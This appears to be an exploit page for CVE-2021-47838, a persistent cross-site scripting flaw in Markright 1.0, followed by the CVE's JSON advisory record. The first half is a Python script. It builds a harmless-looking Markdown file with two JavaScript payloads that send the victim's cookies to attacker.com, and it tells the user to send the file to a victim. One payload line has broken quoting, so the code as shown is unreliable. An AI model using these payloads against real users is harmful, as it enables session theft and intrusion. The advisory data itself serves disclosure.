CVE-2021-47838

#!/usr/bin/env python3 # CVE-2021-47838 PoC - Markright Persistent XSS # This PoC generates a malicious Markdown file with XSS payload import os def generate_malicious_markdown(): """Generate malicious Markdown file with XSS payload""" # XSS payload - executes JavaScript when file is opened xss_payload = '<script>alert("XSS - CVE-2021-47838"); document.location="https://attacker.com/steal?cookie="+document.cookie;</script>' # Alternative payload using img onerror alt_payload = '<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)">' # Create malicious markdown content malicious_content = f'''# Normal Looking Document This is a legitimate Markdown document. {xss_payload} ## Section 2 More content here... {alt_payload} --- *End of document* ''' return malicious_content def save_payload(filename="exploit.md"): """Save the malicious markdown file""" content = generate_malicious_markdown() with open(filename, 'w', encoding='utf-8') as f: f.write(content) print(f"[+] Malicious Markdown file created: {filename}") print(f"[+] File size: {len(content)} bytes") return filename if __name__ == "__main__": print("=" * 50) print("CVE-2021-47838 - Markright XSS PoC Generator") print("=" * 50) filename = save_payload() print(f"\n[!] Send this file to victim and have them open it in Markright") print(f"[!] When opened, the XSS payload will execute JavaScript")

{"cve": {"id": "CVE-2021-47838", "sourceIdentifier": "[email protected]", "published": "2026-01-16T19:16:09.380", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Markright 1.0 contains a persistent cross-site scripting vulnerability that allows attackers to embed malicious payloads in markdown files. Attackers can upload specially crafted markdown files that execute arbitrary JavaScript when opened, potentially enabling remote code execution on the victim's system."}, {"lang": "es", "value": "Markright 1.0 contiene una vulnerabilidad de cross-site scripting persistente que permite a los atacantes incrustar cargas útiles maliciosas en archivos markdown. Los atacantes pueden subir archivos markdown especialmente diseñados que ejecutan JavaScript arbitrario al abrirse, lo que podría permitir la ejecución remota de código en el sistema de la víctima."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/dvcrn/markright", "source": "[email protected]"}, {"url": "https://imgur.com/a/VOsgKbZ", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49834", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/markright-persistent-cross-site-scripting", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/markright-persistent-cross-site-scripting", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}